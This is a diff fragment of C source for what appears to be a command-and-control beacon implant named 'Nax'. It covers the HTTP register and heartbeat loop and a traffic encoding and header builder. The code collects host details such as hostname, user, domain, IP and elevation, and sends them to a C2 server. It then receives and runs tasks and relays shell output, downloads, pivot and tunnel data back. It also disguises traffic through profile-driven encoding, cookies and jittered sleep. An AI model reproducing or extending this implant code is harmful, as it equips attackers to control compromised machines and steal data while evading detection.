return NaxHttpPost( Nax, url_w, sid, body, body_len, resp_buf, resp_len );
|
||||
}
|
||||
|
||||
/* ========= [ HTTP main loop helpers ] ========= */
|
||||
|
||||
FUNC static INT HttpSendResult( PNAX_INSTANCE Nax, UINT32 tid, BYTE status, const PBYTE data, UINT32 data_len, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
|
||||
UINT32 frame_len = frame_cap;
|
||||
if ( NaxBuildResult( tid, status, data, data_len, frame, &frame_len ) != NAX_OK ) return NAX_ERR_FAIL;
|
||||
UINT32 env_len = env_cap;
|
||||
if ( NaxEncrypt( Nax, frame, frame_len, env, &env_len ) != NAX_OK ) return NAX_ERR_FAIL;
|
||||
UINT32 resp_len = resp_cap;
|
||||
return NaxSend( Nax, c2_url, Nax->SessionId, env, env_len, resp, &resp_len );
|
||||
}
|
||||
|
||||
FUNC static VOID HttpRelayPivots( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
|
||||
UINT32 piv_len = NaxProcessPivots( Nax, result, result_cap );
|
||||
PBYTE piv_cur = result;
|
||||
UINT32 piv_rem = piv_len;
|
||||
while ( piv_rem >= 4 ) {
|
||||
UINT32 entryLen = *(UINT32*)piv_cur;
|
||||
if ( entryLen == 0 || 4 + entryLen > piv_rem ) break;
|
||||
HttpSendResult( Nax, 0, NAX_STATUS_OK, piv_cur + 4, entryLen, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
|
||||
piv_cur += 4 + entryLen;
|
||||
piv_rem -= 4 + entryLen;
|
||||
}
|
||||
if ( piv_len > 0 )
|
||||
NaxDbg( Nax, "[pivot] processed %u bytes of child data", piv_len );
|
||||
}
|
||||
|
||||
FUNC static VOID HttpRelayJobs( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
|
||||
UINT32 job_len = NaxProcessJobs( Nax, result, result_cap );
|
||||
UINT32 joff = 0;
|
||||
while ( joff + 9 <= job_len ) {
|
||||
BYTE jtype = result[ joff ];
|
||||
UINT32 jtid = NaxR32( result + joff + 1 );
|
||||
UINT32 jdata = NaxR32( result + joff + 5 );
|
||||
if ( joff + 9 + jdata > job_len ) break;
|
||||
HttpSendResult( Nax, jtid, jtype, result + joff + 9, jdata, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
|
||||
joff += 9 + jdata;
|
||||
}
|
||||
}
|
||||
|
||||
FUNC static VOID HttpRelayShells( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
|
||||
UINT32 sh_len = NaxProcessShells( Nax, result, result_cap );
|
||||
UINT32 soff = 0;
|
||||
while ( soff + 9 <= sh_len ) {
|
||||
BYTE stype = result[ soff ];
|
||||
UINT32 stid = NaxR32( result + soff + 1 );
|
||||
UINT32 sdata = NaxR32( result + soff + 5 );
|
||||
if ( soff + 9 + sdata > sh_len ) break;
|
||||
HttpSendResult( Nax, stid, stype, result + soff + 9, sdata, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
|
||||
soff += 9 + sdata;
|
||||
}
|
||||
}
|
||||
|
||||
FUNC static VOID HttpRelayDownloads( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
|
||||
UINT32 dl_len = NaxProcessDownloads( Nax, result, result_cap );
|
||||
UINT32 doff = 0;
|
||||
while ( doff + 8 <= dl_len ) {
|
||||
UINT32 tid = NaxR32( result + doff );
|
||||
UINT32 dlen = NaxR32( result + doff + 4 );
|
||||
if ( doff + 8 + dlen > dl_len ) break;
|
||||
HttpSendResult( Nax, tid, NAX_STATUS_OK, result + doff + 8, dlen, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
|
||||
doff += 8 + dlen;
|
||||
}
|
||||
}
|
||||
|
||||
FUNC static VOID HttpRelayTunnels( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
|
||||
UINT32 tun_len = NaxProcessTunnels( Nax, result, result_cap );
|
||||
if ( tun_len > 0 )
|
||||
HttpSendResult( Nax, 0, NAX_STATUS_TUNNEL, result, tun_len, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
|
||||
}
|
||||
|
||||
/* ========= [ NaxHttpMain - HTTP register + heartbeat loop ] ========= */
|
||||
|
||||
FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax ) {
|
||||
UINT32 IO_CAP = NAX_IO_CAP;
|
||||
UINT32 RESULT_CAP = NAX_IO_CAP;
|
||||
UINT32 FRAME_CAP = RESULT_CAP + 256;
|
||||
|
||||
PBYTE resp_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
|
||||
PBYTE plain_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
|
||||
PBYTE result_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, RESULT_CAP );
|
||||
PBYTE frame_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
|
||||
PBYTE env_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
|
||||
if ( !resp_h || !plain_h || !result_h || !frame_h || !env_h ) return;
|
||||
|
||||
/* session id */
|
||||
BYTE raw[8];
|
||||
Nax->Bcrypt.BCryptGenRandom( NULL, raw, 8, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
|
||||
NaxHexEncode( raw, 8, Nax->SessionId );
|
||||
NaxDbg( Nax, "session: %s", Nax->SessionId );
|
||||
NaxDbg( Nax, "beacon_id_hdr: %s", Nax->Config.BeaconIdHdr );
|
||||
|
||||
/* C2 URL (wide) */
|
||||
WCHAR c2_url_w[128];
|
||||
NaxAsciiToWide( Nax->Config.C2Url, c2_url_w, 128 );
|
||||
|
||||
/* gather system info */
|
||||
NAX_SYSINFO info;
|
||||
NaxGatherSysInfo( Nax, &info );
|
||||
|
||||
UINT32 frame_len = FRAME_CAP;
|
||||
UINT32 env_len = FRAME_CAP;
|
||||
UINT32 resp_len = IO_CAP;
|
||||
|
||||
/* ---- REGISTER retry loop ---- */
|
||||
for ( ;; ) {
|
||||
frame_len = FRAME_CAP; env_len = FRAME_CAP; resp_len = IO_CAP;
|
||||
|
||||
BYTE reg_body[NAX_REG_BODY_BUF]; UINT32 reg_body_len = NAX_REG_BODY_BUF;
|
||||
if ( NaxBuildRegBody( info.Hostname, info.HnLen, info.Username, info.UnLen, NAX_ARCH_X64, info.Pid, Nax->Config.SleepMs, info.Tid, info.IpStr, info.IpLen, info.Domain, info.DmLen, info.Procname, info.PnLen, Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp, Nax->OemCp, Nax->ImgPath, info.ImLen, reg_body, ®_body_len ) != NAX_OK ) continue;
|
||||
|
||||
if ( NaxFrameEncode( NAX_WIRE_REGISTER, reg_body, reg_body_len, frame_h, &frame_len ) != NAX_OK ) continue;
|
||||
if ( NaxEncrypt( Nax, frame_h, frame_len, env_h, &env_len ) != NAX_OK ) continue;
|
||||
|
||||
BYTE saved_profile = Nax->Config.ProfileLoaded;
|
||||
|
||||
WCHAR reg_url[256];
|
||||
if ( saved_profile && Nax->Config.PostUriCount > 0 ) {
|
||||
BYTE idx = Nax->Config.PostUriIdx;
|
||||
PCHAR uri = Nax->Config.PostUris[idx];
|
||||
Nax->Config.PostUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.PostUriCount );
|
||||
if ( ! NaxBuildUrl( Nax, c2_url_w, uri, reg_url, 256 ) ) continue;
|
||||
NaxDbg( Nax, "REGISTER -> uri[%d] %s", (int)idx, uri );
|
||||
} else {
|
||||
UINT32 ul = 0; while ( c2_url_w[ul] && ul < 255 ) ul++;
|
||||
for ( UINT32 c = 0; c < ul; c++ ) reg_url[c] = c2_url_w[c];
|
||||
reg_url[ul] = L'\0';
|
||||
NaxDbg( Nax, "REGISTER -> %s", Nax->Config.C2Url );
|
||||
}
|
||||
|
||||
Nax->Config.ProfileLoaded = 0;
|
||||
INT reg_rc = NaxSend( Nax, reg_url, Nax->SessionId, env_h, env_len, resp_h, &resp_len );
|
||||
Nax->Config.ProfileLoaded = saved_profile;
|
||||
NaxDbg( Nax, "REGISTER rc=%d resp=%u", reg_rc, resp_len );
|
||||
|
||||
if ( reg_rc != NAX_OK || resp_len == 0 ) {
|
||||
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
|
||||
continue;
|
||||
}
|
||||
|
||||
if ( saved_profile && ( Nax->Config.PostServerOutput.Format != NAX_FMT_RAW || Nax->Config.PostServerOutput.Mask || Nax->Config.PostServerOutput.PrependLen > 0 || Nax->Config.PostServerOutput.AppendLen > 0 ) ) {
|
||||
UINT32 dec_cap = resp_len + 256;
|
||||
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap );
|
||||
if ( dec_buf ) {
|
||||
UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.PostServerOutput, resp_h, resp_len, dec_buf, dec_cap );
|
||||
if ( dec_len > 0 && dec_len <= dec_cap ) {
|
||||
MmCopy( resp_h, dec_buf, dec_len );
|
||||
resp_len = dec_len;
|
||||
}
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
|
||||
}
|
||||
}
|
||||
|
||||
UINT32 prof_plain_len = IO_CAP;
|
||||
if ( NaxDecrypt( Nax, resp_h, resp_len, plain_h, &prof_plain_len ) != NAX_OK || prof_plain_len < NAX_FRAME_HDR ) {
|
||||
NaxDbg( Nax, "REGISTER response invalid (decrypt failed)" );
|
||||
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
|
||||
continue;
|
||||
}
|
||||
|
||||
BYTE pft = 0; PBYTE pfb = NULL; UINT32 pfbl = 0;
|
||||
if ( NaxFrameDecode( plain_h, prof_plain_len, &pft, &pfb, &pfbl ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "REGISTER response invalid (bad frame)" );
|
||||
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
|
||||
continue;
|
||||
}
|
||||
|
||||
if ( pft == NAX_WIRE_PROFILE ) {
|
||||
NaxDbg( Nax, "PROFILE frame received, body=%u bytes", pfbl );
|
||||
NaxApplyProfile( Nax, pfb, pfbl );
|
||||
NaxDbg( Nax, "profile v%d loaded: %d GET URIs, %d POST URIs, ua=%s, rotation=%d", Nax->Config.ProfileVersion, Nax->Config.GetUriCount, Nax->Config.PostUriCount, Nax->Config.UserAgent, Nax->Config.Rotation );
|
||||
if ( Nax->Config.GetUriCount > 0 ) NaxDbg( Nax, " GET[0]=%s", Nax->Config.GetUris[0] );
|
||||
NaxDbg( Nax, " GET meta: fmt=%d mask=%d place=%d name=%s", Nax->Config.GetClientMeta.Format, Nax->Config.GetClientMeta.Mask, Nax->Config.GetClientMeta.Placement, Nax->Config.GetClientMeta.Name );
|
||||
NaxDbg( Nax, " GET hdrCount=%d", Nax->Config.GetClientHdrCount );
|
||||
if ( Nax->Config.GetClientHdrCount > 0 ) NaxDbg( Nax, " GET hdr[0]=%s", Nax->Config.GetClientHdrs[0] );
|
||||
NaxDbg( Nax, " POST meta: fmt=%d mask=%d place=%d name=%s", Nax->Config.PostClientMeta.Format, Nax->Config.PostClientMeta.Mask, Nax->Config.PostClientMeta.Placement, Nax->Config.PostClientMeta.Name );
|
||||
NaxDbg( Nax, " POST out: fmt=%d mask=%d place=%d prepLen=%d appLen=%d", Nax->Config.PostClientOutput.Format, Nax->Config.PostClientOutput.Mask, Nax->Config.PostClientOutput.Placement, Nax->Config.PostClientOutput.PrependLen, Nax->Config.PostClientOutput.AppendLen );
|
||||
if ( Nax->Config.PostUriCount > 0 ) NaxDbg( Nax, " POST[0]=%s", Nax->Config.PostUris[0] );
|
||||
}
|
||||
break;
|
||||
}
|
||||
NaxDbg( Nax, "REGISTER confirmed" );
|
||||
|
||||
BOOL pendingPivotDrain = FALSE;
|
||||
|
||||
/* ---- heartbeat loop ---- */
|
||||
for ( ;; ) {
|
||||
frame_len = FRAME_CAP;
|
||||
if ( NaxBuildHeartbeat( frame_h, &frame_len ) != NAX_OK ) continue;
|
||||
|
||||
env_len = FRAME_CAP;
|
||||
if ( NaxEncrypt( Nax, frame_h, frame_len, env_h, &env_len ) != NAX_OK ) continue;
|
||||
|
||||
resp_len = IO_CAP;
|
||||
Nax->DynResp = NULL;
|
||||
Nax->DynRespLen = 0;
|
||||
|
||||
if ( NaxSendHeartbeat( Nax, c2_url_w, Nax->SessionId, env_h, env_len, resp_h, &resp_len ) != NAX_OK ) continue;
|
||||
|
||||
PBYTE use_resp = resp_h;
|
||||
UINT32 use_resp_len = resp_len;
|
||||
PBYTE dyn_plain = NULL;
|
||||
|
||||
if ( Nax->DynResp ) {
|
||||
use_resp = Nax->DynResp;
|
||||
use_resp_len = Nax->DynRespLen;
|
||||
}
|
||||
|
||||
if ( use_resp_len == 0 ) {
|
||||
if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; }
|
||||
continue;
|
||||
}
|
||||
|
||||
PBYTE use_plain = plain_h;
|
||||
UINT32 use_plain_cap = IO_CAP;
|
||||
|
||||
if ( use_resp_len > IO_CAP ) {
|
||||
dyn_plain = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, use_resp_len );
|
||||
if ( !dyn_plain ) {
|
||||
if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; }
|
||||
continue;
|
||||
}
|
||||
use_plain = dyn_plain;
|
||||
use_plain_cap = use_resp_len;
|
||||
}
|
||||
|
||||
UINT32 plain_len = use_plain_cap;
|
||||
if ( NaxDecrypt( Nax, use_resp, use_resp_len, use_plain, &plain_len ) != NAX_OK ) {
|
||||
if ( dyn_plain ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dyn_plain );
|
||||
if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; }
|
||||
continue;
|
||||
}
|
||||
|
||||
if ( Nax->DynResp ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp );
|
||||
Nax->DynResp = NULL;
|
||||
Nax->DynRespLen = 0;
|
||||
}
|
||||
|
||||
/* dispatch tasks */
|
||||
PBYTE cursor = use_plain;
|
||||
UINT32 remaining = plain_len;
|
||||
BOOL hadTasks = FALSE;
|
||||
|
||||
while ( remaining >= NAX_FRAME_HDR ) {
|
||||
BYTE ft = 0; PBYTE fb = NULL; UINT32 fbl = 0;
|
||||
if ( NaxFrameDecode( cursor, remaining, &ft, &fb, &fbl ) != NAX_OK ) break;
|
||||
|
||||
UINT32 step = NAX_FRAME_HDR + fbl;
|
||||
if ( step > remaining ) break;
|
||||
cursor += step;
|
||||
remaining -= step;
|
||||
|
||||
if ( ft == NAX_WIRE_NO_TASKS ) break;
|
||||
if ( ft != NAX_WIRE_TASK ) continue;
|
||||
|
||||
NAX_TASK task;
|
||||
if ( NaxDecodeTask( fb, fbl, &task ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "[task] decode FAILED fbl=%u", fbl );
|
||||
continue;
|
||||
}
|
||||
NaxDbg( Nax, "[task] cmd=0x%02x id=0x%08x argsLen=%u", task.CmdId, task.TaskId, task.ArgsLen );
|
||||
hadTasks = TRUE;
|
||||
|
||||
UINT32 r_tid = 0;
|
||||
BYTE r_stat = 0;
|
||||
UINT32 r_len = RESULT_CAP;
|
||||
|
||||
if ( ! NaxDispatch( Nax, &task, &r_tid, &r_stat, result_h, &r_len ) ) {
|
||||
NaxDbg( Nax, "[task] cmd=0x%02x: no result (exit)", task.CmdId );
|
||||
continue;
|
||||
}
|
||||
|
||||
NaxDbg( Nax, "[task] cmd=0x%02x done: stat=0x%02x r_len=%u", task.CmdId, r_stat, r_len );
|
||||
INT rc = HttpSendResult( Nax, r_tid, r_stat, result_h, r_len, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
|
||||
NaxDbg( Nax, "[task] result sent rc=%d", rc );
|
||||
}
|
||||
|
||||
if ( dyn_plain ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dyn_plain );
|
||||
dyn_plain = NULL;
|
||||
}
|
||||
|
||||
{
|
||||
NAX_PIVOT* _pv = Nax->PivotHead;
|
||||
while ( _pv ) {
|
||||
if ( _pv->Async->DataSent )
|
||||
pendingPivotDrain = TRUE;
|
||||
_pv = _pv->Next;
|
||||
}
|
||||
}
|
||||
|
||||
/* relay pivots, downloads, jobs, tunnels */
|
||||
if ( Nax->PivotHead )
|
||||
HttpRelayPivots( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
|
||||
|
||||
if ( Nax->DownloadHead )
|
||||
HttpRelayDownloads( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
|
||||
|
||||
if ( Nax->JobHead )
|
||||
HttpRelayJobs( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
|
||||
|
||||
if ( Nax->TunnelHead )
|
||||
HttpRelayTunnels( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
|
||||
|
||||
if ( Nax->ShellHead )
|
||||
HttpRelayShells( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
|
||||
|
||||
/* Burst: when the server had tasks, re-check immediately so
|
||||
* follow-up tasks queued during the sleep window are dispatched
|
||||
* without waiting a full heartbeat cycle. */
|
||||
if ( hadTasks ) {
|
||||
NaxDbg( Nax, "[HB] burst: re-checking for tasks" );
|
||||
continue;
|
||||
}
|
||||
|
||||
UINT32 eff_sleep = NaxEffectiveSleep( Nax );
|
||||
if ( pendingPivotDrain && Nax->PivotHead ) {
|
||||
pendingPivotDrain = FALSE;
|
||||
NaxDbg( Nax, "[HB] pivot drain: fast heartbeat (100 ms)" );
|
||||
Nax->Kernel32.Sleep( 100 );
|
||||
continue;
|
||||
} else {
|
||||
NaxDbg( Nax, "[HB] sleeping %lu ms (base=%lu jitter=%u%%) Sleep=%p GateOrig=%p Gate=%p",
|
||||
eff_sleep, Nax->Config.SleepMs, Nax->Config.JitterPct,
|
||||
(PVOID)Nax->Kernel32.Sleep, Nax->GateOriginals.Sleep, Nax->Gate );
|
||||
Nax->Kernel32.Sleep( eff_sleep );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,261 @@
|
||||
/* beacon/src/Transport/HttpCodec.c
|
||||
* OutputConfig-driven encode/decode pipeline and request header builder.
|
||||
* Used by Http.c (NaxHttpGet, NaxHttpPost) to transform data per profile. */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
/* ========= [ OutputConfig encode/decode ] ========= */
|
||||
|
||||
FUNC UINT32 NaxEncodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
|
||||
PBYTE input = (PBYTE)src;
|
||||
UINT32 input_len = src_len;
|
||||
|
||||
/* mask adds 4 bytes; base64 expands ~4/3; hex expands 2x - size for worst case */
|
||||
UINT32 mask_cap = src_len + 8;
|
||||
UINT32 enc_cap = ( mask_cap * 2 ) + 16;
|
||||
|
||||
PBYTE work = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, mask_cap + enc_cap );
|
||||
if ( !work ) return 0;
|
||||
PBYTE mask_buf = work;
|
||||
PCHAR enc_buf = (PCHAR)( work + mask_cap );
|
||||
|
||||
/* XOR mask */
|
||||
if ( cfg->Mask ) {
|
||||
input_len = NaxXorMask( Nax, input, input_len, mask_buf, mask_cap );
|
||||
if ( input_len == 0 ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
|
||||
input = mask_buf;
|
||||
}
|
||||
|
||||
/* Encode */
|
||||
UINT32 enc_len = 0;
|
||||
switch ( cfg->Format ) {
|
||||
case NAX_FMT_BASE64:
|
||||
enc_len = NaxBase64Encode( input, input_len, enc_buf, enc_cap );
|
||||
break;
|
||||
case NAX_FMT_BASE64URL:
|
||||
enc_len = NaxBase64UrlEncode( input, input_len, enc_buf, enc_cap );
|
||||
break;
|
||||
case NAX_FMT_HEX:
|
||||
if ( input_len * 2 + 1 > enc_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
|
||||
NaxHexEncode( input, input_len, enc_buf );
|
||||
enc_len = input_len * 2;
|
||||
break;
|
||||
default:
|
||||
if ( input_len > enc_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
|
||||
MmCopy( enc_buf, input, input_len );
|
||||
enc_len = input_len;
|
||||
break;
|
||||
}
|
||||
|
||||
/* Prepend + encoded + append */
|
||||
UINT32 total = cfg->PrependLen + enc_len + cfg->AppendLen;
|
||||
if ( total > dst_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
|
||||
UINT32 off = 0;
|
||||
if ( cfg->PrependLen > 0 ) { MmCopy( dst + off, cfg->Prepend, cfg->PrependLen ); off += cfg->PrependLen; }
|
||||
MmCopy( dst + off, enc_buf, enc_len ); off += enc_len;
|
||||
if ( cfg->AppendLen > 0 ) { MmCopy( dst + off, cfg->Append, cfg->AppendLen ); off += cfg->AppendLen; }
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work );
|
||||
return off;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxDecodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
|
||||
PBYTE data = (PBYTE)src;
|
||||
UINT32 data_len = src_len;
|
||||
|
||||
/* Strip prepend/append */
|
||||
if ( data_len >= cfg->PrependLen + cfg->AppendLen ) {
|
||||
data += cfg->PrependLen;
|
||||
data_len -= cfg->PrependLen + cfg->AppendLen;
|
||||
}
|
||||
|
||||
UINT32 buf_sz = data_len < 4096 ? 4096 : data_len;
|
||||
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, buf_sz );
|
||||
if ( !dec_buf ) return 0;
|
||||
|
||||
/* Decode format */
|
||||
UINT32 dec_len = 0;
|
||||
switch ( cfg->Format ) {
|
||||
case NAX_FMT_BASE64:
|
||||
case NAX_FMT_BASE64URL:
|
||||
dec_len = NaxBase64Decode( (PCHAR)data, data_len, dec_buf, buf_sz );
|
||||
break;
|
||||
case NAX_FMT_HEX:
|
||||
dec_len = NaxHexDecode( (PCHAR)data, data_len, dec_buf, buf_sz );
|
||||
break;
|
||||
default:
|
||||
if ( data_len > buf_sz ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); return 0; }
|
||||
MmCopy( dec_buf, data, data_len );
|
||||
dec_len = data_len;
|
||||
break;
|
||||
}
|
||||
|
||||
/* XOR unmask */
|
||||
if ( cfg->Mask && dec_len > 4 ) {
|
||||
UINT32 r = NaxXorUnmask( dec_buf, dec_len, dst, dst_cap );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
|
||||
return r;
|
||||
}
|
||||
if ( dec_len > dst_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); return 0; }
|
||||
MmCopy( dst, dec_buf, dec_len );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
|
||||
return dec_len;
|
||||
}
|
||||
|
||||
/* ========= [ header builder ] ========= */
|
||||
|
||||
/* Append CHAR string to WCHAR output buffer. Returns new write index. */
|
||||
FUNC UINT32 NaxAppendAsciiW( const PCHAR ascii, PWCHAR out, UINT32 wi, UINT32 cap ) {
|
||||
UINT32 i = 0;
|
||||
while ( ascii[ i ] && wi < cap - 1 ) { out[ wi++ ] = (WCHAR)(BYTE)ascii[ i++ ]; }
|
||||
return wi;
|
||||
}
|
||||
|
||||
/* Append CRLF to WCHAR buffer. Returns new write index. */
|
||||
FUNC UINT32 NaxAppendCRLF( PWCHAR out, UINT32 wi, UINT32 cap ) {
|
||||
if ( wi + 2 < cap ) { out[ wi++ ] = L'\r'; out[ wi++ ] = L'\n'; }
|
||||
return wi;
|
||||
}
|
||||
|
||||
/* Build request headers into a WCHAR buffer.
|
||||
* `hdrs` / `hdr_count` : profile client headers array (e.g. GetClientHdrs)
|
||||
* `meta_cfg` : OutputConfig for metadata (session ID or encrypted data)
|
||||
* `meta_encoded` : already-encoded metadata value (CHAR)
|
||||
* `meta_encoded_len` : length of encoded metadata
|
||||
* `is_post` : whether this is a POST request (for Content-Type) */
|
||||
FUNC VOID NaxBuildRequestHeaders( PNAX_INSTANCE Nax, const PCHAR sid, const PCHAR hdr_base, UINT32 hdr_stride, BYTE hdr_count, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, BOOL is_post, PWCHAR out, UINT32 out_cap ) {
|
||||
UINT32 wi = 0;
|
||||
|
||||
/* Beacon ID header - name from profile (default: X-Beacon-Id) */
|
||||
wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, out, wi, out_cap );
|
||||
if ( wi < out_cap - 1 ) out[ wi++ ] = L':';
|
||||
if ( wi < out_cap - 1 ) out[ wi++ ] = L' ';
|
||||
wi = NaxAppendAsciiW( sid, out, wi, out_cap );
|
||||
wi = NaxAppendCRLF( out, wi, out_cap );
|
||||
|
||||
/* Place metadata per OutputConfig placement */
|
||||
if ( meta_encoded && meta_encoded_len > 0 ) {
|
||||
switch ( meta_cfg->Placement ) {
|
||||
case NAX_PLACE_HEADER: {
|
||||
/* Name: encoded_value\r\n */
|
||||
wi = NaxAppendAsciiW( meta_cfg->Name, out, wi, out_cap );
|
||||
if ( wi < out_cap - 1 ) out[ wi++ ] = L':';
|
||||
if ( wi < out_cap - 1 ) out[ wi++ ] = L' ';
|
||||
wi = NaxAppendAsciiW( meta_encoded, out, wi, out_cap );
|
||||
wi = NaxAppendCRLF( out, wi, out_cap );
|
||||
break;
|
||||
}
|
||||
case NAX_PLACE_COOKIE: {
|
||||
/* Cookie: Name=encoded_value\r\n */
|
||||
CHAR ck[] = { 'C','o','o','k','i','e',':',' ','\0' };
|
||||
wi = NaxAppendAsciiW( ck, out, wi, out_cap );
|
||||
wi = NaxAppendAsciiW( meta_cfg->Name, out, wi, out_cap );
|
||||
if ( wi < out_cap - 1 ) out[ wi++ ] = L'=';
|
||||
wi = NaxAppendAsciiW( meta_encoded, out, wi, out_cap );
|
||||
wi = NaxAppendCRLF( out, wi, out_cap );
|
||||
break;
|
||||
}
|
||||
default:
|
||||
/* BODY and PARAMETER placements are handled outside headers */
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Content-Type for POST body - only when no profile headers (they include their own) */
|
||||
if ( is_post && hdr_count == 0 ) {
|
||||
CHAR ct[] = { 'C','o','n','t','e','n','t','-','T','y','p','e',':',' ','a','p','p','l','i','c','a','t','i','o','n','/','o','c','t','e','t','-','s','t','r','e','a','m','\0' };
|
||||
wi = NaxAppendAsciiW( ct, out, wi, out_cap );
|
||||
wi = NaxAppendCRLF( out, wi, out_cap );
|
||||
}
|
||||
|
||||
/* Extra headers from profile */
|
||||
for ( BYTE h = 0; h < hdr_count; h++ ) {
|
||||
wi = NaxAppendAsciiW( hdr_base + h * hdr_stride, out, wi, out_cap );
|
||||
wi = NaxAppendCRLF( out, wi, out_cap );
|
||||
}
|
||||
|
||||
CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' };
|
||||
wi = NaxAppendAsciiW( hdr_p, out, wi, out_cap );
|
||||
wi = NaxAppendCRLF( out, wi, out_cap );
|
||||
|
||||
out[ wi ] = L'\0';
|
||||
}
|
||||
|
||||
/* ========= [ URL builder helper ] ========= */
|
||||
|
||||
FUNC BOOL NaxBuildUrl( PNAX_INSTANCE Nax, const PWCHAR url_w, PCHAR uri, PWCHAR out, UINT32 out_cap ) {
|
||||
URL_COMPONENTS boot_uc;
|
||||
MmZero( &boot_uc, sizeof( boot_uc ) );
|
||||
boot_uc.dwStructSize = sizeof( boot_uc );
|
||||
WCHAR boot_host[256] = { 0 };
|
||||
WCHAR boot_path[512] = { 0 };
|
||||
boot_uc.lpszHostName = boot_host;
|
||||
boot_uc.dwHostNameLength = 256;
|
||||
boot_uc.lpszUrlPath = boot_path;
|
||||
boot_uc.dwUrlPathLength = 512;
|
||||
if ( ! Nax->Winhttp.WinHttpCrackUrl( url_w, 0, 0, &boot_uc ) ) return FALSE;
